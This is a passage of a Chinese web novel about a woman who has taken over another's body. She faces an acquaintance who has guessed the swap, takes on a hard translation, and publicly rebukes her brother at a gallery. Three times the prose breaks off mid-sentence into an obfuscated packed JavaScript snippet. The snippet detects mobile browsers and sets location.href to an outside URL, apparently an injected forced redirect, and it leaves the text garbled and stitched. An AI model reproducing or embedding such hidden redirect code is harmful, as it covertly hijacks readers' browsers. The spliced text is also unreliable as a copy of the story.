“等一下等一下!”邓辞一个闪身挡在了她前面,“难得在这碰见你,坐下聊聊吧。” 段黛觉得并没有什么好聊的:“我还有事,先走了。” “你居然吃抹茶味儿的冰淇淋?为什么呢?” 段黛停下了推他的动作,缓缓抬头,对上了他的眼睛。 邓辞微微一笑:“你以前一直只吃原味儿的,你说原味儿的才能更好地感受冰淇淋的奶香味儿。所以为什么现在你会吃抹茶味儿的呢?” 段黛看了一眼手里的冰激凌:“那也不代表我就讨厌抹茶味儿的。” “我有一些荒谬的想法……”邓辞依旧盯着她,“你说,会不会有什么穿越夺舍之类的事情?” “……” 停顿片刻,段黛后撤一步:“找个地方坐会儿吧。” 邓辞笑意更深了。 段黛找了个靠里的位置坐了下来,慢慢吃着手里的冰激凌。抹茶的味道融化在舌尖,冰冰凉凉的,是很清爽的甜。快要化掉的部分很快就被她吃掉了,可谓是一点也不浪费。 邓辞也买了一只冰淇淋,不过是原味的,然后在段黛对面坐下。 段黛开口:“你想说什么?” 邓辞没有回答她的问题,反而是静静地盯了她一会儿。面对他的目光段黛无所畏惧,依旧旁若无人地吃着冰淇淋。 很快,蛋筒上面的尖尖就被她吃没了。 邓辞忽然笑了:“你为什么要这么吃冰激凌?你以前可不是这么吃的。” 段黛不明所以:“吃个冰激凌还有什么方法?” 邓辞伸出舌头来,慢慢地舔了一点自己手里的冰淇淋。他的脸是好看的,做这个动作似乎是在勾引人一般。然而开口之后只叫人厌烦:“你以前啊,是舔着吃的,不是咬着吃的。” “……” 段黛的表情没有任何变化:“你说话挺恶心的,以后别随便开口了,尤其面对女生。” 邓辞又笑了:“你为什么反应这么大?以前你听到我开黄腔,只会说我讨厌呢,根本不会骂的这么狠的。” 笑完之后他向前凑了凑,段黛下意识往后仰。只听他压低声音道:“你不是段黛吧?” 段黛动作一顿,好像一道落雷掉在了她的头顶,“轰”的一下就炸开了。 12. 虽然不善言辞,但略通一些拳脚 虽说内心惊涛骇浪,但段黛的脸上并没有什么变化,依旧是面无表情的看着他。 “以前的段黛不会总是板着一张脸的,她很讨喜,让人看了就会很高兴,”邓辞慢慢说着,“上次在父母那边你戴的口罩我才没看清楚,但是那时候就已经能感觉到不对劲了。” 段黛深吸一口气,继续吃着冰淇淋:“哦?你这疯话还挺有意思的。” 邓辞却是一脸笃定:“段黛之前跟我说,今天是她的截稿日。不过我太了解她了,她一定会因为帮陈方烨那个傻叉经营公司而来不及写稿子,最后只能在截稿日当天疯狂道歉。但是你今天还去开了会,并且在这里悠闲地吃着冰淇淋……你已经把稿子交上了吧?” 段黛抬眸继续盯着他:“猜的还挺准的。” 邓辞又道:“今天林深合伙人开会,听说最近有重大决策,会议结束之后你应该留在公司处理事情的,而不是像现在这样打道回府。再加上你变强硬了隐形眼镜也不戴了……以前的段黛可是温温柔柔的很好说话呢,哪像你这样总是阴阳怪气的。” 他微微一笑:“为什么会这样呢?因为你不是段黛吧?那么你是谁?” 段黛已经把冰淇淋吃完了,正咔嚓咔嚓咬着蛋筒。 邓辞见状:“对,段黛吃东西很可爱,不会像你这样豪放,根本不顾及形象。” 说着说着他笑容更深了:“放心好了,我不会揭穿你的。” “用不着在这踩一捧一的,”段黛漫不经心的把手里剩下的冰激凌包装纸对折了一下,“你就算说出去,也没有人信啊。” 邓辞又笑了:“所以你是承认了?” 段黛没说话,只是定定地看着他。 自从穿越来之后,段黛只顾着消化自己成了另一个人的事实,以及如何收拾原主目前身为虐文女主的困境,根本就没想过会不会被其他人发现这件事。 穿书之前,段黛就是坚定的唯物主义者,从来只把穿越之类的事情当小说桥段来看,根本不会当真。就连什么塔罗牌算命她都觉得纯粹是对号入座罢了,一切超自然现象都是无稽之谈。 在她看来,身边大部分人既然都是无神论者,那应该就不会相信穿书这种荒谬的事情。她一来就遇到了差点被流氓侮辱的事情,说是受了刺激后性情大变也是完全说得过去的。 父母没有发现,哥哥没有发现,男朋友也没有发现……偏偏是邓辞这个只偶遇过两次的人发现了。 段黛虽然惊讶,但冷静下来之后也不觉得多么慌张。她一点也不怕邓辞会出去说什么,且不说会不会有人相信,就算是真有人信了又能怎么样呢? 邓辞却兴奋了起来:“不说话就是默认了!所以你这壳子底下果然是换人了吧?我就知道,哈哈哈哈哈……” 他手里的冰淇淋已经开始融化了,有些顺着蛋筒的边缘慢慢滑动着,一点一点的往下淌着。直到手上传来冰凉的触感时,邓辞才意识到这个问题,赶紧低着头把边上化掉的部分舔干净。 看起来像狗一样。段黛在心里默默道。 邓辞很是狼狈的把冰激凌快化掉的部分都吃掉了,意识到段黛在盯着他看后又有些僵硬。他低着头摸出纸巾来擦了擦嘴,然后才慢慢地抬起头来。 “原来的段黛呢?她去哪了?是飘在你周围还是……” 段黛两手一摊:“不知道。可能她去了我那个世界,也可能就是没了。反正我是不知道她在哪。” 闻言邓辞咧开了嘴,笑得更高兴了。 “我比较奇怪的一点是,你为什么对我的敌意这么大?看你现在游刃有余的样子,应该是继承了段黛的记忆吧。她这个恋爱脑意识不到陈方烨的渣,还觍着脸讨好那个看她不顺眼的亲哥,外人看了怒其不争很好理解。但是我对黛黛还是挺不错的吧,你为什么这么对我?” 邓辞说出来了他的疑惑。 段黛将叠起来的包装纸又重新展开,方才折过的地方已经出现了一道白痕。 从原主的视角来看,邓辞应该是唯一一个一直对她很好的人了。他不会像陈方烨和段墨那样见到鹿颖就扔掉大脑,也不会对她冷嘲热讽,故意曲解她的意思,说她是撒谎卖乖装可怜。 邓辞一直都是和颜悦色的,耐心地听着她的委屈,轻声细语地安慰她。 “哦,你觉得你对她很好是吗?”她轻声询问。 看着邓辞一脸笃定,段黛弯起了嘴角:“你是说,高中的时候跟同学们说‘她像条狗一样,招招手就过来了’是对她好呢,还是豪言壮语说‘她这样的傻逼只会舔我,根本不可能和别人谈恋爱’是对她好呢?” 邓辞的脸色一下子就变了:“你怎么知道的?” 段黛身体前倾,一把捏住了他的下巴:“从刚刚我就想问了,段黛不在了,你高兴什么?” “……” 邓辞感觉自己的脊背发凉,他哆哆嗦嗦地想要向后躲。他一个一米八高的男的,想要挣脱段黛的桎梏应该还是很容易的。但段黛突然从口袋里掏出那把改装过的打孔钳,轻声细语:“敢乱动的话就在你脸上开个孔。你好像没有酒窝是不是?给你打个酒窝怎么样?” 邓辞僵在原地。他一边想着原来的段黛可不会这么疯,一边又隐隐有些期待。 段黛微微歪头:“你这人真是挺奇怪的,明明也没有想和她谈恋爱的意思吧,又不准她去和别人谈。你难道是什么封建社会来的少爷,瞧准了身边的丫鬟要抬成妾吗?醒醒吧,大清早就亡了。” 邓辞一时间有些语无伦次:“不是,我那是……我那都是……” 段黛把包装纸丢在桌上,收回了攥着打孔钳的手,向后一仰靠在椅背上:“还有什么背后造黄谣的,在我们共同好友面前搬弄口舌的……这些我都不想说什么。我也挺奇怪的,你这么讨厌她,当面还能装的好像是她最好的朋友一样。当面一套背后一套,你不累吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253438|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 说着说着她恍然大悟:“你不会是喜欢她吧?但是死不承认,又不想看她越来越受欢迎,所以巴不得毁掉她,让她身边的人都讨厌她,这样就只剩你一个了,是这样吧?原来你还是个病娇呢。” 邓辞面色惨白:“我没有喜欢她……你怎么会知道那么多?” 段黛嗤笑一声:“我知道的可不少呢。你总在她面前说什么除了你之外根本没有人喜欢她……什么煤气灯效应还是PUA之类的我就不说了。你总是在她受伤之后跑过来温柔地安慰她,转头又到处给她使绊子……你在想什么?她没有选择你你就破防了?想要让她意识到陈方烨其实是个王八蛋,只有你才是真心对她好的?你不会是想看她对你追夫火葬场吧!” “你那点手段……挺蠢的,真的,我只觉得很尴尬,厌蠢症都要犯了。” “啪”的一下,邓辞手里的蛋筒掉在了桌子上。白色的冰激凌从碎裂的蛋筒中淌了出来,流到了桌子上。 从来都是他在背后说段黛是蠢货一个,没想到这个字眼如今会用在他的头上。邓辞不敢看对面人的眼睛,他觉得自己在对方眼中无所遁形,所有试图拿捏的手段都是可笑的装模作样。 原来自己才是蠢货吗? 邓辞是不能接受别人说自己蠢的,但是诡异的是此刻他竟然很想表达赞同。 邓辞回忆着自己对段黛的那种奇怪的厌恶感。随着年岁的增长,这种厌恶与日俱增,才让他在得知原来的段黛已经消失时大笑出声。 他为什么这么讨厌段黛? 恍惚间他回忆起小时候的一些事情,是别人都去和段黛交朋友吗,还是看到段黛的成绩总排在最前面呢…… 他不断的在别人面前骂她蠢货,自欺欺人地说她在自己这里就像狗一样,仿佛这样她就会不再优秀一般。 但是段黛始终是优秀的。 他不能接受自己的愚蠢,却又深刻地意识到自己确实是个蠢货,以至于只能僵在原地,不知道该如何是好。 段黛重新恢复了面无表情的样子:“浪费食物可不好。” “我马上吃,我马上吃……” 邓辞将碎了的蛋筒捡起来塞到嘴里,趴在桌面上一点一点地舔着流出来的冰淇淋。 段黛漠然地看着他。 她的脸上没有什么表情,心里却打了八百个问号。 这人他大爷的有病吧?邓辞这个人的人设到底是怎么回事?叫不知道的人看了,还以为是什么主人的任务…… 段黛轻轻叹了口气,一转头却看到一个熟悉的人。 黎尚轩正提着两杯果茶,站在他们桌子旁几步远的位置。他穿着灰色工装裤和宽松的T恤,正一脸奇怪地看着她。 啊这……怎么又碰见他了? 段黛率先打了招呼:“好巧啊,又见面了。” 与此同时,黎尚轩也开了口:“怎么每次看见你,都在……都在正当防卫?” 13. 性格好但脾气差 段黛赶紧起身,离那个还在舔桌子的癫公远一点:“我可没霸凌他啊。” 黎尚轩瞥了一眼邓辞,他还在陶醉地舔桌子。他重新看向段黛,那眼神分明就写着“不信”两个字。 段黛起身向门外走,黎尚轩拿到了自己点的单就也出来了,于是两人一前一后一起从店里走了出来。 到了外面之后,黎尚轩忍不住道:“你怎么又拿着那个钳子……那是什么?” 原来他那么早就看到了。 段黛有些尴尬,她笑了笑,从兜里掏出那把打孔器:“这是单孔打孔器。” 黎尚轩接过来,饶有兴致地看了看:“是那天往流氓嘴里订的那把吗?” “不是,这是新买的。突然感觉拿来防身也不错,就随身携带了。” 黎尚轩把打孔钳还给了她:“这个防身不方便吧,文具里适合防身的……简单粗暴一点的是美工刀和圆规,再就是各种笔……就算拿个订书机也比这个强吧。” 段黛用审视的目光打量着他:“你竟然还分析起来了。” “说起来还真巧了,总是能遇到你……”黎尚轩感慨完之后又自问自答,“哦对,咱们都住在这个小区呢。” 所以现在两人明明都在往自己家走却还是同路,也是很正常的事情。 段黛点了点头:“是啊,不然那天晚上你也不会看到我了。” “对了,你的脸已经好了啊,”黎尚轩转头仔细打量了一番她的脸颊,“上次看到你的时候又是帽子又是口罩的,现在一点印子也没有了。” 段黛摸了摸自己的脸:“其实第二天就基本上看不出来了,没有那么严重。” 黎尚轩正色道:“虽然上次是你反杀了流氓,但也别放松警惕,不是每一个坏人你都能打的过的。以后再碰到这种事能跑就跑,不到万不得已的时候不要想着反杀,自己的安全最重要。” 段黛颔首:“好,多谢你提醒。” 到了家之后,段黛翻出了原主翻译了个开头就丢在一边鸽了两年的古英文大部头文献——《经录》。读了几页之后,段黛就明白原主放弃的理由了。 ——太艰涩了。 原主虽然一直在做文学翻译,但作品以虚构类为主,理解起来很容易,按照原主的风格再创作也并不困难。这部古英文文献不仅语言晦涩难懂,描述的内容也都是英国古代的一些事物。隔着文化差异,很多内容她虽然能大致理解,但是想要做到信达雅的翻译,那就有些难度了。 不过段黛并不像原主那样知难而退。若是平时的她绝对不会贸然接下这么大的麻烦,但是既然已经接了,那就应该赶紧处理掉。单单是逃避绝对是解决不了问题的。 段黛打开放在《经录》底下的箱子,里面全是原主搜集整理来的资料。段黛把各种文件都搬了出来,一一做了清点。 “……” 她回忆了一下原主的记忆,应该还有一部分资料放在出版社那里。 正在她思考应该从何处入手时,手机振动了一下。段黛已经给陈方烨设置成免打扰了,所以发消息的不会是他。她把手机从桌子上拿了下来,坐在地板上解锁。 是段墨发的:【最近在忙什么?】 真是稀奇,她这个哥居然还能来问她忙什么呢。段黛拍掉了手上的灰,回复:【翻译东西呗。】 段墨在家等了好几天也不见段黛跟他说画室的事情,疑心莫不是她真的生气了,所以发消息来试探一下。 【我最近在家画画,这个出租房太小了,很多东西都施展不开。】 【图片.jpg】 【你看,我的画具堆的到处都是。】 段黛看着图片上乱七八糟的画具,不知道段墨为什么突然找她闲聊,反手拍了一个自己书房里堆在地上的书:【租房子就这样,你看我的书都横着竖着把架子塞满了只能放地上了。】 段墨:【你还有书房,我可没有画室呢。】 段黛脑子拐了几个弯忽然想到,之前原主是想给段墨买个画室的。不过她直接把宣传册给撕掉扔了。 想让她送他画室?送不了一点! 记忆里原主也只和父母说了这件事,并没有告诉段墨,因为想要给他一个惊喜。那段墨现在这样……是在暗示她还是怎么回事? 段黛把资料放回箱子,端着箱子放到桌子上,然后在一边的凳子上坐下,回消息道:【那你就去租一个。】 段墨:【租的不好,万一弄坏那里了还要担心被房东找,施展不开。】 段黛:【那你买一个。】 段墨:【我哪有钱买……】 段黛冷笑一声,看来段墨是已经知道原主想给他买画室的事了。但她偏偏不戳破,揣着明白装糊涂:【光知道抱怨,给你出主意又不听,不想解决问题就快滚吧。】 段墨难得拉下脸来和段黛好好说话,就是希望她能不计前嫌,继续把画室送给他。谁知道段黛不仅在这装傻,还叫他滚? 段墨当即气急败坏:【你现在倒是越来越伶牙俐齿了!】 段黛:【毕竟我是搞文字工作的嘛。】 ……居然还骄傲上了? 兄妹二人不欢而散,段黛继续整理手上的资料。家里封存的这些东西在翻译《经录》时应该能排上不少用场,段黛分类做了整理,重新拿起那本已经被翻的像咸菜一样的书阅读起来。 虽然很难,但先做再说。 在家研究了几天之后,段黛把几个比较困难的部分整理了出来。这一部分的资料还是不太齐全,但出版社那边好像有能用到的东西。于是段黛提前一天联系了关月兰,第二天卡着工作时间到了临安译文出版社。 临译社是九点半上班,段黛九点二十到了。办公室的门还没开,她就坐在等候室的沙发上,从帆布包里拿出那本《经录》继续研读着。 正在她一边思考一边在便签上写着更好的翻译方式时,有人来开门了:“您好,您是……” 段黛抬起头来,看到这个年轻女孩有些面生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253439|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大约是新来出版社的,便起身打招呼:“您好,我是段黛,之前有些资料放在咱们社,我今天来取。” 林若愚恍然大悟:“您就是段老师!” 关月兰来的时候,段黛和林若愚已经完全混熟了,两人正在聊市中心有家店的芝士蛋糕是多么的好吃。关月兰哭笑不得:“你竟然这么早就到了。” 段黛:“卡在你们上班的时候到的,刚刚好。” 关月兰拍了拍她的肩膀:“坐会儿吧,我去帮你拿。” 《经录》这本书是原主在英国的时候找到的,在英国读的人都很少,更别说是国内了。她读了之后觉得很有翻译的价值,便兴冲冲地带了回来。关月兰当时读了也觉得很不错,于是全出版社的人都期待着这本文献的出世。 然后原主就把它鸽了。 后来原主还放了一部分资料在这里,说是如果有别人能来翻译可以用来参考。但是这本文献太刁钻了,除了段黛根本没人知道,所以也就不了了之了。 正在等资料时,旁边办公室突然跑来一个人,正是她们部门的编辑室主任:“我靠段黛这个风格是脱胎换骨了吧!我就说咱们社押对了宝,段黛的完全体简直是……” 段黛闻声抬起头来,和刚完成审稿的主任对上了视线。 编辑室主任是个四十多岁的中年女人,看到自己谈论的对象正坐在办公室里愣了一下:“哎呀,段老师怎么来了?” 后知后觉意识到刚刚是在被夸奖的段黛有些羞赧:“啊,我来拿些东西……” 主任相当高兴的走到段黛身侧:“进步很大啊段老师!这本书出版之后一定会让拿些在某瓣说我们翻译不精的人闭嘴!” 段黛表情没变,但语气中能听到一些开心:“我会加油的。” 主任又来吹嘘了一番这次的译文是多么的精美,随后就走了。看着人的背影,段黛在心底暗自雀跃。 完成的工作能被人认可,确实是一件值得高兴的事情。 这边,关月兰终于找到了压箱底的资料。她端了五六本非常厚实的文件夹来放在段黛面前的桌子上:“你来取这些,莫不是……” 段黛深吸一口气:“我有点头绪了,再试试。” 关月兰意味深长地看了她一眼:“如果你要做这个,那就暂时不给你安排其他的翻译任务了。想做的话可千万别鸽,不然这半年你就白瞎了。” 说着她展示了一下原本想交给她的选题:“美国有个新兴人气小说家,正准备引进她的作品呢。是你擅长的类型,确定不接?” 段黛仔细看了一会儿,坐直了身子笑道:“我还是继续翻译《经录》吧。” 她接过关月兰手里的文件夹,扬起了嘴角:“毕竟,能翻译畅销书的人有很多,但是能翻译《经录》的,只有我一个。” 那一瞬间,关月兰忽的有些触动。 从前那个畏畏缩缩的羞涩小女孩,如今也变成成熟自信的模样了。 段黛……真的大不一样了啊。 14. 只要我收回援手 段黛把资料装进包里,往肩上一背,随后向关月兰道别:“姐你继续忙,我先走啦。” 关月兰摆了摆手:“既然决定了就好好做,慢走哦。” 段黛出了办公室,顺着走廊往前面的电梯走去。 “段黛!” 一个声音从身后传来,段黛闻声回头,看到一个脖子上戴着相机、烫着大波浪卷发的年轻女孩。眼前人的面孔与记忆中的人名重合,段黛唤出了她的名字:“裴斯羽!” 裴斯羽和原主是读硕士时的同学,两人虽然不是一个专业的,但上学时住在一个宿舍,所以彼此之间非常熟络。毕业之后,新传专业的裴斯羽也来了临译社,在营销部门做新媒体运营。 “好巧啊,这两天我还听他们编辑部门说你的新书很厉害呢,”裴斯羽按下了电梯键,伸手搭在了她的肩上,“咱们好长时间没见了。” 在肩膀被触碰到的一瞬间,段黛无意识地战栗了一下。她不太习惯和关系不算密切的人有肢体上的解除。但很快原主关于裴斯羽的记忆涌入脑中,让她知道身边站着的并不是陌生人,而是一直以来关系非常亲密的朋友,于是也渐渐放松下来。 随着原主交际圈中的人一个一个的出现,段黛也在一步一步接受她的人际关系。 段黛笑道:“你怎么出来了,是要出去参加活动?” 电梯恰好到了,两人一起走了进去。裴斯羽按了一楼:“隔壁美术馆在举办画展呢,我们社之后要出版举办者的作品集,所以现在我要过去拍点素材。” 临译社旁边有家美术馆,段黛愣了一下,忽然记起来了——那不就是原主托关系给段墨塞进去上班的美术馆吗! 而裴斯羽即将参加的这场画展,在原文里也是有记录的。画展的举办者是一个年轻有为的女画家,女主为了能给哥哥一个结交人脉的机会,特意和美术馆提前打了招呼,让段墨负责和这位画家对接工作。要知道对于搞文艺创作的自由艺术家来说,人脉是很重要的一个因素。酒香也怕巷子深,如果无人赏识,那再精美的作品也只是废纸一张,艺术家也只能停留在“草根”的阶段,很难走向成名。 然而段墨觉得段黛是在羞辱他。段墨看到比自己还要年轻的同行如今竟然如此的事业有成,便觉得推他出面负责工作的段黛是在故意刺他的心,直骂她是在假好心。女主为了他出钱出力打点关系最后却落不到一句好,回家之后就默默emo独自流泪。 段黛穿来之后一直“两耳不闻窗外事”,除了翻译之外和她无关的事情一概不过问。就连林深还是因为有股份在才不得不留几分精力关注,更别提和她八竿子打不着边的画展了。 没了段黛的操作,美术馆会将交接的工作派给资历更深的人,段墨这样才来不久可有可无的角色或许连打杂都用不上他。 这应该就是段墨想要的吧? 想到这段黛忽然有了兴趣。她对裴斯羽道:“我陪你一起去看看吧?” 裴斯羽欣然同意。 反正今天上午也没什么安排,能和老同学叙叙旧维护一下这条人脉,去美术馆也就是顺路的事,何乐而不为呢? 从写字楼出来之后,过了两条马路,段黛就看到屹立在街角颇具后现代风格的美术馆。美术馆大门外的宣传版面上挂了年轻女画家章瑾慧的简介,门口的牌子上也放了画展的信息。 裴斯羽举着相机拍了一下门口的情况,确定照片没什么问题后便对段黛道:“咱们进去吧。” 段黛点了点头。 馆内挂着画家各式各样的作品,段黛四处看着,能认出来这些是水彩那些是油画,至于怎么鉴赏怎么评价……只能说隔行如隔山了。 段黛以前也翻译过一些作品集,各类赏析名词话术虽然都脑中,但并不能做到具体往上套。她盯着作品看了一会儿,最终决定闭嘴观看,省的贻笑大方。 前面有个穿着打扮一看就很艺术感的女人正在给其他人做讲解,段黛看了一下脸,认出来这就是举办画展的女画家章瑾慧了。接着段黛又粗略看了一下场馆内的工作人员,并没有看到段墨。 不用非得看着比自己年轻的人功成名就的样子,这应该就是段墨想要的吧。段黛在心底感慨,原主出力还不讨好,果然有句话说的对——放下助人情结,尊重他人命运。 “我去那边拍照,你自己先看着哦。” 裴斯羽跟段黛说了一声之后就往画家的方向去了。段黛则溜达到一边,看看要不要买点什么纪念品。 “段老师也来啦。” 段黛转身看到了美术馆的馆长——一个四十多岁两鬓有些斑白的瘦小男人。她微微一笑:“好久不见了。” 美术馆和临译社经常一起做活动,因着这层关系,原主才能委托各种人辗转之后认识了美术馆的馆长,最后把自己的哥哥安排进来工作。光是想想这曲折的过程,段黛就感觉到窒息。 原主是社交恐怖分子吧。 维护已有的关系还好,结交陌生人这种事对段黛来说简直就是地狱。 “对了,你哥哥他……” 段黛笑了笑:“馆长能给他这份工作我已经很感激了,其他的该怎么来就怎么来。段墨已经是个成年人了,我只是他妹妹也不是他亲爹亲妈,总不能看着他一辈子。” 馆长闻言松了口气,段黛又道:“如果段墨违反了美术馆的规定之类的,该处罚处罚该解雇解雇,不用管我。” “嗯……段墨的工作还是没出什么错的,”馆长伸手把展架上的文创产品重新摆好,“最近听出版社的人说,你最新的翻译作品和以往大不相同,还真是期待啊。” 段黛礼貌道:“吸取了一些过去的教训,现在还在进步。” “到时候就期待新书出版了。” “您喜欢的话,出版之后我会送样书给您的。” “那可真是多谢了……” 两人寒暄了一会儿,忽然听到一声尖叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253440|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你要干什么?” 场馆内所有人都转过头来,只见章瑾慧的身边突然出现了一个男人……竟然是段墨。 “怎么了这是?” 馆长赶紧上前解围,段黛则一个闪身躲到了一根立柱之后,不让段墨发现自己,随后默默观察着情况。 段墨有些尴尬:“不是,那个……我就是想问一下你的老师的联系方式……” 章瑾慧蹙眉:“我为什么要把老师的联系方式给一个陌生人?你这样很冒犯哎。” 段墨急了:“我也是美院毕业的,说起来我还算是你的学长……” 周围一圈人低低的笑了。什么关系都敢攀,到底是谁给他的底气啊? 章瑾慧气笑了:“全国那么多美院那么多学画的,个个都能借着学长的名号骚扰我的老师?” 章瑾慧的老师是一位闻名全国的大家,若是能带上他的名号,就算业内人士能看出他几斤几两,至少在那些并不懂艺术的外行收藏家那里也足够用了。段黛嗤笑一声,原来段墨也知道人脉的重要性啊。 没了段黛的插手,他反而自己去和会“刺自己心”的后辈搭话。 她抱着手臂,冷眼看着段墨被指责不知好歹。 也不知道原主如果在的话,看到现在这个场景是该哭还是该笑。 馆长将段墨拉走,用眼神示意他赶紧离开展馆。但也不知道段墨是装的还是真的看不懂眼色,竟然还强硬了起来:“我没有要性骚扰你的意思,你这种条件我是不会喜欢的,我只是想让你帮忙引荐一下老师而已。” “……” 周围的人笑得更欢了。一言不合就扯上性缘脑那看不看的上的一套了,这人的逻辑也很好笑啊。 段黛轻轻叹了口气,莫名想到那句话——他总是那么普通,又那么自信。 她庆幸自己并没有跟着馆长一起上前,用不着因为有这个哥哥而丢人现眼。段黛转过身去,想趁着大家的注意力都在那边的时候悄悄溜走。然而天不遂人愿,刚走出几步,段墨居然一眼就从人群中认出了他最讨厌的妹妹的背影:“段黛!” 段黛脚步一顿,缓缓转过身来。 站在前排的裴斯羽一脸诧异,这个大放厥词的人还认识段黛? 见段黛回头,段墨就知道自己没认错人。此时此刻他忽然就有了底气,语气中也趾高气昂了起来:“我妹妹和这的馆长可是朋友……” 馆长的头上冒出了冷汗,段墨怎么还大言不惭的把这话说出来了…… 好在段黛也没到名气很响的程度,周围一圈人也并不知道段墨口中的“我妹妹”是何许人物。 在众人的目光中,段黛三步并作两步,走到前面去。 站在几圈人群之外,段黛抬起头来,一脸平淡地迎上了段墨隐隐有着期待的眼神。 “段墨。”段黛轻声开口。 “别在这丢人现眼。” 她的声音不大,却叫他如坠冰窟。 15. 风水轮流转 跟人当众争执这种事情多少还是不太体面的。见段墨像是霜打的茄子一般,章瑾慧也呼出一口气来:“让大家看笑话了。” 说着便向展馆外走去了。 段黛抱着手臂看着他,轻飘飘道:“还不走?” 段墨如梦初醒,灰溜溜地跑了出去。 谁知离开人群之后,段墨又不死心地缠了过去。馆长的脸上有些挂不住,把段墨拉到一边,想到段黛说用不着他面子,便训斥道:“你到底要干什么!你不是负责画展内容的吧,不好好呆在办公室,怎么跑到这来了!” “我……” 章瑾慧也颇为无语:“这位先生,我们不认识吧?连毕业院校都不一样吧?你哪来的自信和底气,用这种态度跟我搭话?” 段墨嘟囔道:“你是怕我有了引荐之后名气超过你吧……” 章瑾慧有种对牛弹琴的无力感,不欲多言。 段黛跟着走了过来,开口道:“段墨,向人家道歉。” 段墨一脸难以置信地转头看了过来:“你说什么?” 段黛抱着手臂:“你不尊重人家在先,骚扰人家在后,到现在还死不悔改,难道不应该道歉吗?” “段黛?”听到这个名字,章瑾慧略有些疑惑地看了过来,“是那个……翻译家段黛吗?” 段黛一脸谦逊:“不敢自称翻译家,就是个翻译作者而已。” 章瑾慧忽然高兴了起来:“我很喜欢你翻译的作品!之前有些书我都看不进去,后来专门买了你翻译的版本,读起来流畅多了!我从那之后才知道原来读外国作品是需要仔细挑翻译的!” 看到年轻有为的女画家对段黛如此喜欢,对自己却是那般态度,段墨更是气不打一出来:“你……你们……” “没忘了你呢,”面对段墨时,段黛瞬间板起一张脸,“段墨,你已经28岁了,为人处世的道理难道还需要我教给你吗?” 亲妹妹的面子落不到他的头上,段墨有一种恼羞成怒的感觉。他猛地冲了过来:“我可是你亲哥,你怎么敢这么和我说话的!” “哎别打人啊!”眼看着段墨伸出手来要打人,周围响起一阵惊呼,章瑾慧更是吓了一跳。不过段黛可没给段墨什么机会,她一把抓住了他甩过来的手腕猛地向后一拉,接着几乎是下意识地用另一只手往他的脸上扇去。 然后就是响亮的“啪”的一声。 “……啊。” 段黛这才看到黎尚轩不知道什么时候出现在了草坪旁边。他正伸着手臂,似是想要制止段墨的动作。然而段黛比他先行一步,提前把对方打了。 英雄救美……救不了一点。 黎尚轩有些尴尬的收回了手,然后……摸了摸鼻子。 段黛很意外地看着他:“你怎么在这?” “我路过,”黎尚轩也挺奇怪自己怎么总能看到段黛的,并且每次见到她时都是她即将挨揍却又反杀旁人的瞬间,“你又……正当防卫了啊。” 段黛:“嗯呐。” 段墨的脸颊上一阵火辣辣的痛,他站在原地愣了好久,才意识到自己是被段黛扇了一巴掌。 “你打我?” “不是你先想打我的吗?” “哇哦,”章瑾慧发出一声小小的惊呼,缩到了追出来的裴斯羽身后,“段老师的性格这么霸气的吗?” 裴斯羽也傻眼了:“啊……可能毕业之后性格变了吧……” 以前的段黛可是像个小白兔一样,说话都是轻声细语的。裴斯羽以前没见过段墨,但知道段黛有个哥哥,有时候能看到她给哥哥打电话然后悄悄地哭。那时裴斯羽就猜测可能是段黛经常被她的哥哥欺负。 虽说工作之后大家的脾气或多或少都会暴躁一些,但是裴斯羽也没想到现在的段黛能够这么顺畅地扇人大嘴巴子啊? 段黛抱着手臂,板着脸看着段墨道:“段墨,道歉。” 声音不大,语气却不容置疑。 段墨忽然就记起来不久之前的一件事。那时段黛和鹿颖起了冲突,为了维护自己的心上人,段墨正在两人争执的时候冲了过去,将鹿颖挡在了身后,然后一脸严肃地训斥着段黛:“段黛,你已经26岁了,为人处世的道理还用我教你吗?” 当时她们是因为什么争执来着? 段墨已经记不得了。 段墨能记住的,就是段黛故作委屈泪眼朦胧的样子,还有鹿颖轻声细语地安抚:“好了,段黛也不是故意的……” 那时的段墨愈发愤怒,对段黛吼着:“段黛,道歉。” 段墨不知道自己为什么会突然记起这件事。其实类似的情景有很多,只要是段黛和旁人起了冲突,段墨一定是先数落段黛一通,然后再维护那个和自家妹妹有争执的人。那句“段黛,道歉”被他不知道说了多少次。 风水轮流转,天道好轮回。 段墨神色复杂地看着段黛:“你是在报复我吗?” 段黛本人虽然也知道以前段墨胳膊肘向外拐的事迹,但她到底不是原主,现在根本没想到那么多。她只是一脸莫名其妙地看着他:“你自己不知好歹给人家造成了困扰,说不明白又拿出‘你是博士又怎样,我可是男士’那一套来,出了那么大的丑了,你现在居然还不知错,还以为我是在报复你?是我叫你去纠缠女性的吗?” 